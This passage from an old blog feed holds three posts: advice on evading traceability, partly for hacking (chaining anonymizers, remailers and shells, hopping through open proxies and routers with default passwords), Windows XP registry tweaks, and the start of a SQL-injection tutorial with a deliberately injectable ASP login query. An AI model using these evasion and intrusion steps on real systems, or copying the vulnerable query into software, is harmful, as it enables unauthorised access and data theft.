/&gt;&lt;br /&gt;To: roelof@sensepost.com&lt;br /&gt;&lt;br /&gt;MIME-Version: 1.0&lt;br /&gt;&lt;br /&gt;Content-Type: text/plain; charset=us-ascii&lt;br /&gt;&lt;br /&gt;The mail header tells us that our mailserver (wips.sensepost.com) received email via SMTP from the web-enabled mailserver (web111.yahoomail.com). It also tells us that the web-enabled mailserver received the mail via HTTP (the web) from the IP number 196.34.250.7. It is thus possible to trace the email to the originator. Given the fact that we have the time the webserver received the mail (over the web) and the source IP, we can use techniques explained earlier to find the person who was sending the email. Most free web enabled email services includes the client source IP (list of free email providers at www.fepg.net).&lt;br /&gt;&lt;br /&gt;How to overcome this? There are some people that think that one should be allowed to surf the Internet totally anonymous. An example of these people is Anonymizer.com (www.anonymizer.com). Anonymizer.com allows you to enter a URL into a text box. It then proxy all connections to the specified destination. Anonymizer claims that they only keep hashes (one way encryption, cannot be reversed) of logs. According to documentation on the Anonymizer website there is no way that even they can determine your source IP. Surfing to Hotmail via Anonymizer thus change the IP address in the mail header.&lt;br /&gt;&lt;br /&gt;But beware. Many ISPs make use of technology called transparent proxy servers. These servers is normally located between the ISP’s clients and their main feed to the Internet. These servers pick up on HTTP requests, change the source IP to their own IP and does the reverse upon receiving the return packet. All of this is totally transparent to the end user - therefore the name. And the servers keep logs. Typically the servers cannot keep logs forever, but the ISP could be backing up logs for analyses. Would I be tasked to find a person that sent mail via Hotmail and Anonymizer I would ask for the transparent proxy logs for the time the user was connected to the web-enabled mailserver, and search for connections to Anonymizer. With any luck it would be the only connections to the Anonymizer in that time frame. Although I won’t be able to prove it, I would find the source IP involved.&lt;br /&gt;&lt;br /&gt;Another way of tackling the problem is anonymous remailers. These mailservers will change your source IP, your field and might relay the mail with a random delay. In many cases these remailers are daisy chained together in a random pattern. The problem with remailers is that many of them do keep logs of incoming connections. Choosing the initial remailer can be become an art. Remailers usually have to provide logfiles at the request of the local government. The country of origin of the remailer is thus very important as cyberlaw differs from country to country. A good summary of remailers (complete with listings of remailers can be found at www.cs.berkeley.edu/~raph/remailer-list.html).&lt;br /&gt;&lt;br /&gt;Yet another way is to make use of servers that provide free Unix shell accounts. You can telnet directly to these servers (some provide SSH (encrypted shells) access as well). Most of the free shell providers also provide email facilities, but limit shell capabilities -e.g. you can’t telnet from the free shell server to another server. In 99% of the cases connections are logged, and logs are kept in backup. A website that list most free shell providers are to be found at www.leftfoot.com/freeshells.html. Some freeshell servers provider more shell functionality than others - consult the list for detailed descriptions.&lt;br /&gt;&lt;br /&gt;How do we combine all of the above to send email anonymously? Consider this - I SSH to a freeshell server. I therefor bypass the transparent proxies, and my communication to the server is encrypted and thus invisible to people that might be sniffing my network (locally or anywhere). I use lynx (a text based web browser) to connect to an Anonymizer service. From the Anonymizer I connect to a free email service. I might also consider a remailer located somewhere in Finland. 100% safe?&lt;br /&gt;&lt;br /&gt;Even when using all of above measures I cannot be 100% sure that I cannot be traced. In most cases logs are kept of every move you make. Daisy chaining and hopping between sites and servers does make it hard to be traced, but not impossible.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Other techniques&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. The cybercafe is your friend! Although cybercafes are stepping up their security measures it is still relatively easy to walk into a cybercafe without any form of identification. Sit down, and surf to hotmail.com - no one would notice as everyone else is doing exactly the same thing. Compose your email and walk out. Do not become a regular! Never visit the scene of the crime again. When indulging in other activities such as telnetting to servers or doing a full blast hack cybercafes should be avoided as your activity can raise suspicion with the administrators.&lt;br /&gt;&lt;br /&gt;2. Search for proxy like services. Here I am referring to things like WinGate servers. WinGate server runs on a Microsoft platform and is used as a proxy server for a small network (read SOHO environment with a dial-up link). In many cases these servers are not configured correctly and will allow anyone to proxy/relay via them. These servers do not keep any logs by default. Hoping via WinGate servers is so popular that lists of active WinGates are published (www.cyberarmy.com/lists/wingate/).&lt;br /&gt;&lt;br /&gt;3. With some experience you can hop via open routers. Finding open routers are very easy - many routers on the Internet is configured with default passwords (list of default passwords to be found at www.nerdnet.com/security/index.php )&lt;br /&gt;&lt;br /&gt;Doing a host scan with port 23 (later more on this) in a “router subnet” would quickly reveal valid candidates. In most of the cases these routers are not configured to log incoming connections, and provides excellent stepping-stones to freeshell servers. You might also consider daisy chaining them together for maximum protection.&lt;br /&gt;&lt;br /&gt;4. Change the communication medium. Connect to a X.25 pad via a XXX service. Find the DTE of a dial-out X.25 PAD. Dial back to your local service provider. Your telephone call now originates from e.g. Sweden. Confused? See the section on X.25 hacking later in the document. The exact same principle can be applied using open routers (see point 3) Some open routers listens on high ports (typically 2001,3001,X001) and drops you directly into the AT command set of a dial-out modems. Get creative.&lt;br /&gt;&lt;br /&gt;The best way to stay anonymous and untraceable on the Internet would be a creative mix of all of the above-mentioned techniques. There is no easy way to be 100% sure all of the time that you are not traceable. The nature of the “hack” should determine how many “stealth” techniques should be used. Doing a simple portscan to a university in Mexico should not dictate that you use 15 hops and 5 different mediums.&lt;br /&gt;&lt;br /&gt;For more information read: Breaking into computer networks from the Internet [Roelof Temmingh &amp;amp; SensePost]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-1289584386270957481?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/1289584386270957481/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=1289584386270957481' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/1289584386270957481'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/1289584386270957481'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/staying-anonymous-on-net_14.html' title='Staying anonymous on net'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-2331501355743995074</id><published>2008-10-13T22:05:00.005+05:30</published><updated>2008-10-24T20:51:26.780+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Registry'/><title type='text'>Real Tricks -2</title><content type='html'>note:-these tricks are collected over net.well i don't guarantee you that all tricks will work.use the tricks at your own risk.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Change any system icon&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;NOTE: Before using this tweak know that it is potentially dangerous to your system... ALWAYS make backups!!!! Also NOTE: I am not responsible for any damage to your computer USE AT YOUR OWN RISK! I've used Icon Packager for the longest time to change all the icons in my Windows XP system. Until I decided that wasn't enough. But there is a way to change 95% of the icons that you see in your windows system. The key to understanding this process is knowing that many files installed in windows has embedded icons. We are simply going to replace the old ones with new ones. :)&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;1. Get a copy of Microangelo. at http://www.microangelo.us/&lt;br /&gt;&lt;br /&gt;2. While Microangelo is downloading you need to make 2 backups of any files that you will be replacing. for this example we will use shell32.dll This file is located at c:\windows\system32\shell32.dll. To view these files you need to turn off 'Hide protected operating system files' and 'Show hidden files and folders' in the view tab of the folder options under tools in my computer. One of these backups is for editing purposes and the other is pure backup.&lt;br /&gt;&lt;br /&gt;3. Once Microangelo is downloaded and installed, open librarian. librarian is an application that can open up exe's and just about any file with embedded icons.&lt;br /&gt;&lt;br /&gt;4. Once librarian is opened, open the first backup of that shell32.dll file. and Voilà!! Tons of icons, actually most of the icons in the entire system. :)&lt;br /&gt;&lt;br /&gt;5. Here comes the fun part. simply right click on an icon that you want to change click on replace and navigate to your new icon.&lt;br /&gt;&lt;br /&gt;6. Once you've changed all the icons that you want, Save the file. Now you have a new and improved shell32 file. Now comes the hard part.&lt;br /&gt;&lt;br /&gt;7. First off, XP is very clever in creating a backup of all its important system files so you need to replace these backups. Navigate and copy the new shell32.dll file to these two locations: c:\Windows\System32\dllcache and if you have SP1 installed c:\Windows\ServicePackFiles\i386&lt;br /&gt;&lt;br /&gt;8. Now that you have the backup files taken care o&lt;br /&gt;&lt;br /&gt;&lt;h3 class="smller"&gt;Change Browser Toolbar Background&lt;/h3&gt; &lt;div class="para"&gt; This tweak customizes the appearance of the Internet Explorer Toolbar&lt;br /&gt;&lt;br /&gt;XP Professional&lt;br /&gt;&lt;br /&gt;1. Click Start &gt; Run &gt; Type gpedit.msc&lt;br /&gt;2. Click User Configuration &gt; Windows Setting &gt; Internet Explorer Maintenance &gt; Browser User Interface&lt;br /&gt;3. Double click on Browser Toolbar Customization&lt;br /&gt;4. Click on Customize Toolbar Background Bitmap&lt;br /&gt;5. Browse for the new Background&lt;br /&gt;&lt;br /&gt;XP Home Edition&lt;br /&gt;&lt;br /&gt;1. Click Start &gt; Run, type: regedit&lt;br /&gt;2. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Int&lt;wbr&gt;ernet Explorer\Toolbar&lt;br /&gt;3. Right click on an empty spot and create a new string value&lt;br /&gt;4. Name it BackBitmapIE5&lt;br /&gt;5. Doubleclick on BackBitmapIE5 and type in the path of your toolbar bitmap&lt;br /&gt;6. Click OK and close regedit&lt;br /&gt;(always backup before making any changes in the registry)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: Because you can customize your browser toolbar there isn't a specific size which&lt;br /&gt;you need to make this tweak work. Play around with the size until you get it right.&lt;br /&gt;&lt;br /&gt;The Width of your toolbar with be the width of your resolution. 1024 will be your width&lt;br /&gt;if your resolution is 1024x768.&lt;br /&gt;&lt;br /&gt;&lt;h3 class="smller"&gt;Change Log On Screen Colors&lt;/h3&gt; &lt;div class="para"&gt; Microsoft includes three default "shell styles" with the Windows XP Luna theme: Homestead, Metallic, and NormalColor.&lt;br /&gt;&lt;br /&gt;You can see these three styles in the "Welcome to Windows" and "Log On to Windows" screens during logon.&lt;br /&gt;&lt;br /&gt;To change the style, open regedit and go to: HKEY_USERS\.DEFAULT\Software\Microsoft\W&lt;wbr&gt;indows\CurrentVersion\ThemeManager&lt;br /&gt;Change the "ColorName" key value to either "Homestead" or "Metallic". "Homestead" will show the title bars in an olive color. "Metallic" will show them in a silver color.&lt;br /&gt;&lt;br /&gt;Log off or reboot to see the change.&lt;br /&gt;&lt;br /&gt;Note: this will only work on the original Ctrl+Alt+Del log on screen, not the new Welcome screen.&lt;br /&gt;&lt;br /&gt;&lt;h3 class="smller"&gt;Change Orginal Desktop Wallpaper&lt;/h3&gt; &lt;div class="para"&gt; This is more of a fun tweak than it is useful.&lt;br /&gt;&lt;br /&gt;Go to run, type regedit press ok.&lt;br /&gt;when that comes up go to HKEY_CURRENT_USER&gt;Control Panel&gt;Desktop&lt;br /&gt;Now find the orginalwallpaper, right click and select modify.&lt;br /&gt;In the text box type the path to the file you want to be your orginal desktop wallpaper.&lt;br /&gt;&lt;br /&gt;There ya go!&lt;br /&gt;&lt;br /&gt;&lt;h3 class="smller"&gt;Create SendTo menu items&lt;/h3&gt; &lt;div class="para"&gt; Open Explorer and type the following into the address bar:&lt;br /&gt;&lt;br /&gt;X:\Documents and Settings\username\SendTo (Where X: is your System Drive letter and "username" is your Username)&lt;br /&gt;&lt;br /&gt;Add a shortcut to the file or program of your choice.&lt;br /&gt;&lt;br /&gt;&lt;h3 class="smller"&gt;Creating a Keyboard Shortcut&lt;/h3&gt; &lt;div class="para"&gt; 1. Right-click a shortcut on the desktop or in the start menu, and then click Properties .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. On the Shortcut tab, click in the Shortcut Key box.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Press the key you want to use. Windows will add Ctrl+Alt to it. So if you choose U the combination will be Ctrl+Alt+U.&lt;br /&gt;You can also choose one of the function keys you don't use otherwise, F7 as example. Just one button to click then.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Click OK .&lt;br /&gt;&lt;br /&gt;&lt;h3 class="smller"&gt;Delete/Repair the Windows Media Player Library&lt;/h3&gt; &lt;div class="para"&gt; If you have moved your music around on your hard drives, Windows Media Player continues to add new entries into it's library instead of modifying the existing ones. This means that you will now have multiple entries for the same song, half of which will not work now because you have moved the files to their new location. To delete the current library and build a new one, do the following:&lt;br /&gt;&lt;br /&gt;1. Close Windows Media Player, wait about 3 seconds for the database to close.&lt;br /&gt;&lt;br /&gt;2. Using "My Computer", navigate to the following folder:&lt;br /&gt;F (or whatever drive is appropriate for you):\Documents and Settings\All Users\Application Data\Microsoft\Media Index&lt;br /&gt;&lt;br /&gt;3. Delete the "wmplibrary....db" file here. This is not your actual music, only the database which Windows Media Player uses as a listing.&lt;br /&gt;&lt;br /&gt;4. Start Windows Media Player&lt;br /&gt;&lt;br /&gt;5. Hit "F3" and enter the location where you have moved your music to. If it is on muliple drives, check "All Drives". Let it finish.&lt;br /&gt;&lt;br /&gt;You're Done!&lt;br /&gt;All the old listings will now be gone, and you will only have the new accurate ones.&lt;br /&gt;&lt;br /&gt;&lt;h3 class="smller"&gt;Display the Windows version on your deskt&lt;/h3&gt; &lt;div class="para"&gt; It is possible to display the version of Windows in the lower right corner of your desktop. This requires a modification in the Windows Registry.&lt;br /&gt;&lt;br /&gt;Note:&lt;br /&gt;You cannot decide what text you want to appear; it's predefined, based on the version of Windows you are running. For example, the text for Windows XP Professional with Service Pack 2 will be along the lines of:&lt;br /&gt;&lt;br /&gt;Windows XP Professional&lt;br /&gt;Build 2600.xpsp_sp2_rtm.040803-2158 (Service Pack 2)&lt;br /&gt;&lt;br /&gt;Procedure:&lt;br /&gt;&lt;br /&gt;1) Click the Start button, click Run, type regedit and click OK&lt;br /&gt;&lt;br /&gt;2) On the left-hand side, navigate to (and highlight)&lt;br /&gt;HKEY_CURRENT_USER\Control Panel\Desktop&lt;br /&gt;&lt;br /&gt;3) On the right-hand side, locate PaintDesktopVersion and double-click it&lt;br /&gt;&lt;br /&gt;4) In the pop-up window, change the data to 1 and click OK&lt;br /&gt;&lt;br /&gt;Note:&lt;br /&gt;0 = Hide Windows version from desktop&lt;br /&gt;1 = Show Windows version on desktop&lt;br /&gt;&lt;br /&gt;5) Close the Windows Registry Editor as well as your other programs and reboot (or log off and log back in).&lt;br /&gt;&lt;br /&gt;&lt;h3 class="smller"&gt;Easier way to kill microsoft tick sound&lt;/h3&gt; &lt;div class="para"&gt; The annoying "tick" sound is microsoft's default sound for "start navigation" which can be disabled through control panel--&gt;sounds&lt;br /&gt;&lt;br /&gt;&lt;h3 class="smller"&gt;Faster Application Access&lt;/h3&gt; &lt;div class="para"&gt; Have you ever wanted to have your program shortcuts withing a clicks reach without crowding the desktop? And do you have to many apps to pin them all to the start menu? If so, then this might be a solution for you aswell.&lt;br /&gt;&lt;br /&gt;1) Create a new folder anywhere you like and name it "Progz", "Gamez" or "Music" according to your will and pleasure.&lt;br /&gt;&lt;br /&gt;2) Place shortcuts of the stuff you need into this folder.&lt;br /&gt;&lt;br /&gt;3) Right-click on the windows tastbar and select "toolbars" and "New toolbar". Then you simply refer to your "Progz" folder.&lt;br /&gt;&lt;br /&gt;And there you have it... all your applications within a clicks reach.... and a clean desktop aswell. I have my menues minimized, so I only see the names of the categories or folders, and then locked the taskbar, making room for the active applications to be shown.&lt;br /&gt;&lt;br /&gt;Adding new items to the toolbar is done simply by copying or creating shortcuts into the original folder, then your menu updates itself.&lt;br /&gt;&lt;br /&gt;This can also be a good way of organizing applications into different categories... you just make seperate toolbars.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-1.html"&gt;Real tricks-1&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-2.html"&gt;Real tricks-2&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-3.html"&gt;Real tricks-3&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/10/real-tricks-4.html"&gt;Real tricks-4&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-2331501355743995074?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/2331501355743995074/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=2331501355743995074' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/2331501355743995074'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/2331501355743995074'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/10/real-tricks-2.html' title='Real Tricks -2'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-8309116978451464609</id><published>2008-10-13T07:47:00.004+05:30</published><updated>2008-10-14T11:18:30.933+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorials'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>DataBase Hacking</title><content type='html'>&lt;span style="font-family:arial,helvetica;font-size:-1;"&gt;&lt;span class="edgeatext"&gt;Databases have                    been the heart of a commercial website. An attack on the                    database servers can cause a great monetary loss for the                    company. Database servers are usually hacked to get the credit                    card information. And just one hack on a commercial site will                    bring down its reputation and also the customers as they also                    want their credit card info secured. Most of the commercial                    websites use Microsoft sql (MSsql) and Oracle database                    servers. MS sql still owns the market because the price is                    very low. While Oracle servers come with high price. Well some                    time ago Oracle had claimed itself to be “unbreakable” But                    hackers took it as a challenge and showed lots of bugs in it                    also !! I was addicted to hacking of database servers from a                    few months. So I just decided to share the knowledge with                    others. Well the things discussed here are not discovered by                    me ok. Yeah I experimented with them a lot.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;The                    article is divided into two parts:&lt;br /&gt;1. Using the HTTP port                    80&lt;br /&gt;2. Using the MS SQL port 1434&lt;br /&gt;&lt;br /&gt;Part I – Using                    HTTP port 80 ( Or better would be malformed                    URLs)&lt;br /&gt;----------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;This                    part will be useful not only to the hackers but also to the                    web designers. A common mistake made by the web designers can                    reveal the databases of the server to the hacker. Lets see on                    it. The whole game is of query strings. So it is assumed that                    the reader has some knowledge about queries and asp. And one                    more thing. This hack is done using only through the browser.                    So you even don't require any other tools except IE or                    Netscape.&lt;br /&gt;Normally, inorder to make a login page, the web                    designer will write the following                    code.&lt;br /&gt;&lt;br /&gt;login.htm&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;html&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&gt;&lt;br /&gt;&lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;body&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&gt;&lt;br /&gt;&lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;form method&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;get action&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"logincheck.asp"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&gt;&lt;br /&gt;&lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;input type&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"text" &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;name&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"login_name"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&gt;&lt;br /&gt;&lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;input type&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"text" &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;name&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"pass"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&gt;&lt;br /&gt;&lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;input type&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"submit" &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;value&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"sign in"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&gt;&lt;br /&gt;&lt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;form&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&gt;&lt;br /&gt;&lt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;body&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&gt;&lt;br /&gt;&lt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;html&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;logincheck.asp&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;@&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;language&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"vbscript"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&gt;&lt;br /&gt;&lt;%&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;dim conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;rs&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;log&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;pwd&lt;br /&gt;log&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;Request&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;form&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"login_name"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;pwd&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;Request&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;form&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"pass"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;set conn &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;Server&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;CreateObject&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"ADODB.Connection"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;ConnectionString&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"provider=microsoft.jet.OLEDB.4.0;data source=c:\folder\multiplex.mdb"&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;conn&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;Open&lt;br /&gt;set rs &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;Server&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;CreateObject&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"ADODB.Recordset"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;rs&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;open &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Select * from table1 where login='"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;log&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&amp;amp; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"' and password='" &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;pwd&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&amp;amp; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"' "&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;conn&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;If &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;rs&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;EOF&lt;br /&gt;            response&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;write&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Login failed"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;else&lt;br /&gt;            &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;response&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;write&lt;/span&gt;&lt;span style="color: rgb(0, 119, 